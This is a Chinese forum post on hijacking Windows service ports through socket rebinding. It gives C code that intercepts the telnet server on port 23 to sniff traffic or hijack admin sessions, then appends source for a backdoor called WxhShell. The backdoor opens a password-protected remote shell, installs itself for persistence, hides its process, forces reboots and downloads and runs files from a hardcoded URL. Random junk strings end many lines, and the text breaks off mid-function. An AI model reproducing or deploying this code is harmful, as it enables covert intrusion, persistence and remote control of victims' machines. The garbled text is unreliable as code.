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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f=!VsR2o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CI :`<PZ\-  
S h,&{z!  
  saddr.sin_family = AF_INET; 'd&0Js$^  
\nB8WSvk2W  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 199]WHc  
'GoZqiYT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )aao[_ZS  
pY~,(s|Qb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0}FOV`n  
/43-;"%>  
  这意味着什么?意味着可以进行如下的攻击: "+ >SJ~  
,H2D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f{i8w!O"~  
N, *m ,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D?,#aB"  
M$d%p6Cv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G4;3cT3'  
aKlUX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;?~$h-9)  
1q3( @D5~+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R:AA,^Z  
1>Dl\czn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5"]~oPK  
=rQP[ICs!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -}4NT{E  
pge++Di  
  #include { "xln/  
  #include :nS;W  
  #include }%`~T>/  
  #include    )T66<UDK|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]I.n\2R]om  
  int main() h:)Ci!D;  
  { [kzd(u  
  WORD wVersionRequested; ,\d6VBP&  
  DWORD ret; q@~L&{  
  WSADATA wsaData; kctzNGF|  
  BOOL val; ^(f4*m6`  
  SOCKADDR_IN saddr; L0]_hxE?  
  SOCKADDR_IN scaddr; tpEI(9>  
  int err; 5P+t^\  
  SOCKET s; ]cC[-F[  
  SOCKET sc; R@yyur~'_(  
  int caddsize; TtDg*kZ  
  HANDLE mt; Z!&Rr~i <  
  DWORD tid;   16EVl~LN  
  wVersionRequested = MAKEWORD( 2, 2 ); a=$t&7;,  
  err = WSAStartup( wVersionRequested, &wsaData ); gx:;&4AD  
  if ( err != 0 ) { ).HDru-2  
  printf("error!WSAStartup failed!\n"); *tX{MSYW  
  return -1; 9Sq%s&  
  } 5P h X"7  
  saddr.sin_family = AF_INET; hv$m4,0WB  
   f8<o8*`7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R%H$%cnj  
%F9{EXJy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o}'bv  
  saddr.sin_port = htons(23); $hVYTy~}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]PP:oriWl  
  { W Qzj[  
  printf("error!socket failed!\n"); )Vk6;__  
  return -1; " ;w}3+R  
  } #W2[  
  val = TRUE; Y'3}G<'%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 asgF1?r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]G}B 0u3  
  { 's!-80sd  
  printf("error!setsockopt failed!\n"); ExXM:1 e26  
  return -1; _uu<4c   
  } RF!1oZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :9Y$'+ <&H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %_aMl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @C-dG7U.P  
R,!Q Zxmg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) daAyx-  
  { B 2 .q3T  
  ret=GetLastError(); ;#) mLsl  
  printf("error!bind failed!\n"); x2#qg>`l  
  return -1; s& {Qdf  
  } Lj %{y.Rj  
  listen(s,2); jSQ9.%4  
  while(1) 5NXt$k5  
  { qG9+/u)\  
  caddsize = sizeof(scaddr); X0+fsf<H}  
  //接受连接请求 7W9d6i)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p'?w2YN/  
  if(sc!=INVALID_SOCKET) xaKst p  
  { >Dg#9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i~{ _eQV  
  if(mt==NULL) ,Ci/xnI  
  { A?"h@-~2  
  printf("Thread Creat Failed!\n"); w*w?S  
  break; E}Xka1 Bn  
  } N(3R|Ii  
  } cQZ652F9  
  CloseHandle(mt); bv dR"G  
  } =S]a&*M  
  closesocket(s); Px'!;  
  WSACleanup(); N<_Ko+VF  
  return 0; ` e{BId  
  }   B7-RU<n  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9f}XRz  
  { )06iV  
  SOCKET ss = (SOCKET)lpParam; 4*UP. r@  
  SOCKET sc; :PnSQjV:  
  unsigned char buf[4096]; 8C.!V =@\  
  SOCKADDR_IN saddr; I]J*BD#n.  
  long num; /=#~  
  DWORD val; ;+I4&VieK  
  DWORD ret; TQ1WVq }*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Lg`Jp&Kg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y5!b)vke  
  saddr.sin_family = AF_INET; cf[vf!vi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r<L#q)]  
  saddr.sin_port = htons(23); 3@O0^v-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?Zyok]s  
  { gw3NS8 A+  
  printf("error!socket failed!\n"); Yi rC*  
  return -1; ; a/cty0Ch  
  } jlKGXD)Q[  
  val = 100; fjDpwb:x)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /k"hH\Pp  
  { K{ }4zuZ  
  ret = GetLastError(); L]2< &%N2  
  return -1; \w )?SVp  
  } 76#.F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *"G8  
  { N^elVu4 K  
  ret = GetLastError(); d\XRUO[  
  return -1; i&@,5/'-_O  
  } CYB=Uq,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K:qOoY  
  { 8gmn6dCf  
  printf("error!socket connect failed!\n"); bEr.nF  
  closesocket(sc); %f[Ep 3D  
  closesocket(ss); D?+ RJs  
  return -1; 3BMS_,P  
  } j/<??v4F4  
  while(1) udTxNl!  
  { 6|;0ax4:P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `f'C[a"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fEu9Jk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5FuK\y  
  num = recv(ss,buf,4096,0); ?'~;Q)  
  if(num>0) 1]/N2&  
  send(sc,buf,num,0); oG_~3Kt  
  else if(num==0)  ~B@ }R  
  break; cq^sq1A:  
  num = recv(sc,buf,4096,0); o*7yax  
  if(num>0) i1/}XV  
  send(ss,buf,num,0); 12r` )  
  else if(num==0) 4NVgOr:  
  break; Ww87  
  } q?VVYZXP  
  closesocket(ss); ":&|[9/  
  closesocket(sc); JY4_v>Aob  
  return 0 ; *=^[VV!  
  } 2uo8jF.h  
YbvX$/zGu  
5|WOBOh>`&  
========================================================== ^L~ [+|  
L/k40cEI^z  
下边附上一个代码,,WXhSHELL l/V&s<  
qU6BA \ZL  
========================================================== 712=rUI%!  
c57bf  
#include "stdafx.h" nJ# XVlHc  
.D@/y uV  
#include <stdio.h> !yCl(XT  
#include <string.h> FYeEG  
#include <windows.h> [u\CDsX  
#include <winsock2.h> aVK()1v]  
#include <winsvc.h> [>uwk``_  
#include <urlmon.h> gO{W#%  
"X?LAo  
#pragma comment (lib, "Ws2_32.lib") !\w\ ]7 ls  
#pragma comment (lib, "urlmon.lib") @dhH;gt.I  
~M[>m~8  
#define MAX_USER   100 // 最大客户端连接数 O&P>x#w  
#define BUF_SOCK   200 // sock buffer ag/u8  
#define KEY_BUFF   255 // 输入 buffer OX,F09.C  
&@'V\5G  
#define REBOOT     0   // 重启 KS>Fl->  
#define SHUTDOWN   1   // 关机 er\:U0fr#@  
.5k^f5a  
#define DEF_PORT   5000 // 监听端口 M7H~;S\3IM  
xucIjPi]  
#define REG_LEN     16   // 注册表键长度 7+] F^ 6  
#define SVC_LEN     80   // NT服务名长度 B=x~L  
T.euoFU{Z  
// 从dll定义API uk{J@&F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G+Ei#:W,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;G$)MS'nB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9l=Fv6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }moz9a  
#y`k$20"  
// wxhshell配置信息 e6es0D[>5  
struct WSCFG { '!j(u@&!  
  int ws_port;         // 监听端口 >?Qxpqf2  
  char ws_passstr[REG_LEN]; // 口令 :dbV2'vIQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no B(E tXB9  
  char ws_regname[REG_LEN]; // 注册表键名 v7$9QVze  
  char ws_svcname[REG_LEN]; // 服务名 ^AH-+#5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dpp@*xX>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @>9A$w$H|a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v*gLNB,ZH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'v`~(9'Rcj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,9$>d}N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n=SzF(S[M  
:6sGX p  
}; ;op'V6iG  
_PdAN= C3  
// default Wxhshell configuration 1uj05aZh}  
struct WSCFG wscfg={DEF_PORT, (HaU,vP  
    "xuhuanlingzhe", zrTY1Asw;4  
    1, n K0hTQ  
    "Wxhshell", 4] M =q{  
    "Wxhshell", HO G=c!b  
            "WxhShell Service", kOzt"t&  
    "Wrsky Windows CmdShell Service", 9M19 UP&  
    "Please Input Your Password: ", E- [:. &  
  1, =z']s4  
  "http://www.wrsky.com/wxhshell.exe", i!ds{`d  
  "Wxhshell.exe" _/8y1) I  
    }; (T`q++  
^K*~ <O-  
// 消息定义模块 j!"iYtgV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \j/}rzo]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )uu wwz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xP{m9_Qj  
char *msg_ws_ext="\n\rExit."; K-ju,4A  
char *msg_ws_end="\n\rQuit."; ,$SkaTBe  
char *msg_ws_boot="\n\rReboot..."; <y'qo8oqF  
char *msg_ws_poff="\n\rShutdown..."; mKMGdN~  
char *msg_ws_down="\n\rSave to "; |4LQ\'N&  
012:BZR  
char *msg_ws_err="\n\rErr!"; paUyS1i  
char *msg_ws_ok="\n\rOK!"; c[6zX#{`  
MgSp.<!  
char ExeFile[MAX_PATH]; gx&\Kw6HM  
int nUser = 0; 'II vub#q  
HANDLE handles[MAX_USER]; nN!vgn j  
int OsIsNt; la1D2 lM  
MH2OqiCI  
SERVICE_STATUS       serviceStatus; <m:4g ,6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {m>~`   
sL;z"N@PK  
// 函数声明 SIJ# ?0,  
int Install(void); ``/y=k/au  
int Uninstall(void); ?cA8P.?^A  
int DownloadFile(char *sURL, SOCKET wsh); CD$u=E ]  
int Boot(int flag); /7S-|%1  
void HideProc(void); oa?!50d  
int GetOsVer(void); 6Eij>{v  
int Wxhshell(SOCKET wsl); FDZeIj9uF  
void TalkWithClient(void *cs); -+`az)lrp  
int CmdShell(SOCKET sock); /,-h%gj  
int StartFromService(void); knI*-  
int StartWxhshell(LPSTR lpCmdLine); #.RG1-L  
QGu7D #%|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n^3NA| A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); | 3hT{  
nA|gQibA  
// 数据结构和表定义 kwDjK"  
SERVICE_TABLE_ENTRY DispatchTable[] = 1 NB2y[  
{ GC,vQ\  
{wscfg.ws_svcname, NTServiceMain}, ?T$*5d  
{NULL, NULL} :H~UyrN  
}; AD0ptHUBa  
1 yxZ  
// 自我安装 &T5f H!?4  
int Install(void) + 6i7,U  
{ "{,\]l&o  
  char svExeFile[MAX_PATH]; A?^A*e  
  HKEY key; :%+^}   
  strcpy(svExeFile,ExeFile); Ki&WS<,0Z  
dVjcK/T<  
// 如果是win9x系统,修改注册表设为自启动 8N</Yi|n  
if(!OsIsNt) { a)YJ4\Qg[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !4DG P28  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }D&"z8mP  
  RegCloseKey(key); p =#'B*'w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j=!(F`/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Po2_ 0uX  
  RegCloseKey(key); v3=&{}+j.  
  return 0; dlU JYI  
    } ;HD 4~3   
  } oP 6.t-<dU  
} {PP ^Rb)  
else {  <Hq6]\<  
.I f"'hMY  
// 如果是NT以上系统,安装为系统服务 )Gu0i7iN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F}VS)  
if (schSCManager!=0) \#IJ=+z   
{ d&$.jk8 2  
  SC_HANDLE schService = CreateService Q6e'0EIKC  
  ( Xs.$2  
  schSCManager, &mO/u= u  
  wscfg.ws_svcname, 6&/ Ew4 e  
  wscfg.ws_svcdisp, J7 Oa})-+'  
  SERVICE_ALL_ACCESS, \Nh^Ig   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <s59OdzP  
  SERVICE_AUTO_START, E.WNykF-  
  SERVICE_ERROR_NORMAL, pGZl.OI  
  svExeFile, |e.3FjTH  
  NULL, cP$wI;P  
  NULL, GA%"w=M\  
  NULL, TV$\v@\ =  
  NULL, }+QhW]nO{F  
  NULL 6_ 33*/>=c  
  ); E#&c]9QM75  
  if (schService!=0) 4F1.D9u  
  { TYmUPS$  
  CloseServiceHandle(schService); f0N)N}y  
  CloseServiceHandle(schSCManager); Q KDb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c)n0D=  
  strcat(svExeFile,wscfg.ws_svcname); -E,{r[Sp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0& SrKn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r7wx?{~ 28  
  RegCloseKey(key); 5KA FUR0  
  return 0; hr$VVbOho  
    } ;c \zgs~"T  
  }  ?fqkM  
  CloseServiceHandle(schSCManager); *1 J#Mdd  
} inq4CGY  
} 4P-'(4I)  
+0JH"L5!  
return 1; Pv/%s) &y&  
} )0 42?emn  
pRDON)$  
// 自我卸载 leX7(Y;!a7  
int Uninstall(void) GakmROZ@9  
{ }. Na{]<gh  
  HKEY key; C7c|\T  
t Sh}0N)  
if(!OsIsNt) { qKI4p3&E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fc{6*wtO  
  RegDeleteValue(key,wscfg.ws_regname); EnsNO_"e|  
  RegCloseKey(key); ? A^3.`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :g]HB ,78  
  RegDeleteValue(key,wscfg.ws_regname); }fa%JN %E  
  RegCloseKey(key); ^|:{,d#Y  
  return 0; 04T*\G^:=  
  } C6;](rN)N  
} %+j]vP  
} s].'@_~s  
else { F%ylR^H>  
9< 0$mE^:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l#5k8+s  
if (schSCManager!=0) VES4x%r=  
{ :b3l J-dB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IZ(CRKCGBl  
  if (schService!=0) 07G*M ]  
  { >sl1 cC  
  if(DeleteService(schService)!=0) { dBD4ogo1  
  CloseServiceHandle(schService); [(.T%kJ  
  CloseServiceHandle(schSCManager); Zia|`}peW  
  return 0; U}C#:Xi>$  
  } NXG}0`QVT  
  CloseServiceHandle(schService); {bq-: CZe  
  } -T>wi J  
  CloseServiceHandle(schSCManager); d8y =.  
} 3<.j`JB@&  
} i+ &lMgh  
RWm Q]  
return 1; @gVyLefS6g  
} 7`'fUhB!  
V n!az}  
// 从指定url下载文件 5 xzB1n8  
int DownloadFile(char *sURL, SOCKET wsh) }FdcbNsP  
{ D*2p  
  HRESULT hr; (k2J{6]  
char seps[]= "/"; 7<C~D,x6  
char *token; WU4vb  
char *file; kl{OO%jZ  
char myURL[MAX_PATH]; vS,G<V3B  
char myFILE[MAX_PATH]; v %PWr5]  
^zluO   
strcpy(myURL,sURL); N=?kEX O  
  token=strtok(myURL,seps); Xe^=(| M  
  while(token!=NULL) A%2M]];%X  
  { !6 fpMo  
    file=token; =D"63fP1  
  token=strtok(NULL,seps); )V =K#MCK  
  } m^u&g&^  
~9ls~$+*  
GetCurrentDirectory(MAX_PATH,myFILE); PAWr1]DI  
strcat(myFILE, "\\"); )GT?Wd  
strcat(myFILE, file); *t-A6)2  
  send(wsh,myFILE,strlen(myFILE),0); +>9^])K|  
send(wsh,"...",3,0); OD!CnK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ug3lMN4UX  
  if(hr==S_OK) yp/V 8C  
return 0; JU,RO oz(  
else hq[ gj?P  
return 1; nJ0eZBgB]  
z o))x(  
} QRG)~  
GWE0 UO}  
// 系统电源模块 GbrPtu2{@V  
int Boot(int flag) ~9'4w-Sy  
{ {{)[Ap)  
  HANDLE hToken; */dsMa  
  TOKEN_PRIVILEGES tkp; 87E3pe  
 3usA  
  if(OsIsNt) { z&J ow/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ALieUf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [<1+Q =;  
    tkp.PrivilegeCount = 1; [q{Txe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3 BhA.o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +mW$D@Pf  
if(flag==REBOOT) {  #=~1hk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TOF62,  
  return 0; 3V!&y/c<  
} D$!p+Q  
else { + T-zf@j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NF.6(PG|  
  return 0; V +<AG*[  
} nXaX=  
  } c]v3dHE_h  
  else { }Z$G=;3#  
if(flag==REBOOT) { v2X0Px_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F3|pS:  
  return 0; ] Sx= y<  
} |DS@90}  
else { yNf=Kl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  p:>?  
  return 0; +=04X F:  
} 6@*;Wk~  
} `Ta(P30  
 KGwL09)  
return 1; \ #c+vfq  
} r!gCh`PiK  
b2kbuk]  
// win9x进程隐藏模块 dC|#l?P  
void HideProc(void) qvT+d l3#[  
{ }Fe{s;  
_<}5[(qu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &>B>+}'  
  if ( hKernel != NULL ) )$N{(Cke2T  
  { gJ~*rWBK:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U$J_:~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { RX|  
    FreeLibrary(hKernel); jY6=+9Jz5  
  } rd~W.b_b  
8VGXw;(Y,d  
return; (mr` ?LI}  
} @[Qg}'i  
l0 :xQV`  
// 获取操作系统版本 wyEgm:Vt  
int GetOsVer(void) XFAt\g  
{ -"fq34v  
  OSVERSIONINFO winfo; CKw)J}z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <Y'YpH`l  
  GetVersionEx(&winfo); w3UJw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _ShJ3\,K  
  return 1; /4BXF4ksi,  
  else s(LqhF[N2]  
  return 0; =C2C~Xd  
} PBnn,#  
b<cM[GaV~  
// 客户端句柄模块 n.>'&<H>9  
int Wxhshell(SOCKET wsl) \-id[zKb  
{ T0)y5  
  SOCKET wsh; ? NK} q\$  
  struct sockaddr_in client; K1nwv"  
  DWORD myID; R@aT=\u+  
9+|,aG s  
  while(nUser<MAX_USER) IoX 9yGq  
{ BV:,b S  
  int nSize=sizeof(client); >{=RQgGy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YAG3PWmD  
  if(wsh==INVALID_SOCKET) return 1; ADUI@#vk  
")buDU6_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <4bo7XH  
if(handles[nUser]==0) .]l2)OlLQ  
  closesocket(wsh); Ci:QIsu*  
else D4-U[l+K>  
  nUser++; 2b` M(QL  
  }   `.-C6!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5-po>1g'  
2xj`cFT  
  return 0; ts$UC $  
} G\AQql(f4  
a-5$GvG  
// 关闭 socket 55KL^+-~  
void CloseIt(SOCKET wsh) haK5Oe/cE  
{ IsL/p3|  
closesocket(wsh); :|Ty 0>k  
nUser--; \./2Qc,  
ExitThread(0); 8{ e 3  
} Ik)Q0_<a  
bJ}+<##  
// 客户端请求句柄 h /Nt92  
void TalkWithClient(void *cs) q0<`XDD`  
{ EZW?(%b>H  
h2 <$L  
  SOCKET wsh=(SOCKET)cs; 4(ZV\}j1  
  char pwd[SVC_LEN]; >GRuS\B  
  char cmd[KEY_BUFF]; %c{)'X  
char chr[1]; K.zs;^  
int i,j; ,Ou)F;r  
KgS xF#  
  while (nUser < MAX_USER) { !!>G{  
bm?TMhC  
if(wscfg.ws_passstr) { 1nmWL0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`0H(\en  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Ji:nEl]z  
  //ZeroMemory(pwd,KEY_BUFF); dj]N59<  
      i=0; 6*Qpq7Ml  
  while(i<SVC_LEN) { xb>+~59:  
r"{1H  
  // 设置超时 5E=Odep`  
  fd_set FdRead; mg]dKp  
  struct timeval TimeOut; Ca|;8ggf  
  FD_ZERO(&FdRead); "TI? qoz  
  FD_SET(wsh,&FdRead); WRM}gWv*  
  TimeOut.tv_sec=8; A/aQpEb%  
  TimeOut.tv_usec=0; gQwmYe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X2Mj|_#u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LOzKpvGl  
#YdU,y=B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .m51/X&*n  
  pwd=chr[0]; (#lS?+w)  
  if(chr[0]==0xd || chr[0]==0xa) { +(0eOO'\M  
  pwd=0; (%, '  
  break; @su,w,xLS  
  } nX'.'3  
  i++; /+YWp>6LU  
    } V:18]:  
_A*0K,F-  
  // 如果是非法用户,关闭 socket SF7 Scd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Q4{6FH+mB  
} \PJ89u0  
iL<O|'be  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I^=M>_ s4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "?-s Qn  
eH6cBX#P.  
while(1) { i9tM]/SP  
Gx($q;8  
  ZeroMemory(cmd,KEY_BUFF); g=Jfp$*[  
jT',+   
      // 自动支持客户端 telnet标准   /8T{bJ5  
  j=0; jL&F7itP  
  while(j<KEY_BUFF) { Sq>UMfl&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6yqp<D0SP)  
  cmd[j]=chr[0]; 'z/hj>B<  
  if(chr[0]==0xa || chr[0]==0xd) { XlPy(>  
  cmd[j]=0; \&0NH=*^  
  break; %3wK.tR  
  } ^gImb`<6-  
  j++; Sb.;$Be5g  
    } J%'|IwA  
t[Q\T0E  
  // 下载文件 AsOI`@FV  
  if(strstr(cmd,"http://")) { PoZBiw@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fsoS!6h0k  
  if(DownloadFile(cmd,wsh)) SbY i|V,H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;7}*Xr|  
  else Q>$v~v?9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b._pG(o1  
  } e6Y0G,K  
  else { ]h6<o*  
?fG Y,<c  
    switch(cmd[0]) { c9V'Zd#  
  {1[8,Ho  
  // 帮助 %O k.XBS)  
  case '?': { vHmn)d1pl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b.(^CYYQ  
    break; IV76#jL  
  } #%~wuCn<K  
  // 安装 u}$3.]-.?T  
  case 'i': { kmwFw>#  
    if(Install()) ~Q5HM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wp $\>  
    else n7vi@^lf(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V! p;ME  
    break; R4?/7  
    } ja2LXM  
  // 卸载 .vg;K@{  
  case 'r': { oVdmgmT.Y  
    if(Uninstall()) <>cajQ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6FknYj  
    else DwPl,@T_i\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e8Jd*AKjb  
    break; I~,*Rgv/Z  
    } =x> KA*O1  
  // 显示 wxhshell 所在路径 MFrVGEQBRL  
  case 'p': { L,$9)`j  
    char svExeFile[MAX_PATH]; 4?`7XJ0a  
    strcpy(svExeFile,"\n\r"); Pg7/g=Va  
      strcat(svExeFile,ExeFile); _F3:j9^  
        send(wsh,svExeFile,strlen(svExeFile),0); G 9;WO*  
    break; kN )P-![  
    } 8Pq|jK "  
  // 重启 c ;VW>&,B  
  case 'b': { Onao'sjY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +m_quQ/ys  
    if(Boot(REBOOT)) 9496ayi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG.?s ;J0  
    else { pV_2JXM~@  
    closesocket(wsh); *5^h>Vk/  
    ExitThread(0); :0/I2:  
    } *`[LsG]ZF  
    break; ~~&M&Fe  
    } &0'BCT  
  // 关机 0=NB[eG  
  case 'd': { PM{kiz^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?o2L  
    if(Boot(SHUTDOWN)) C.eZcNJG  
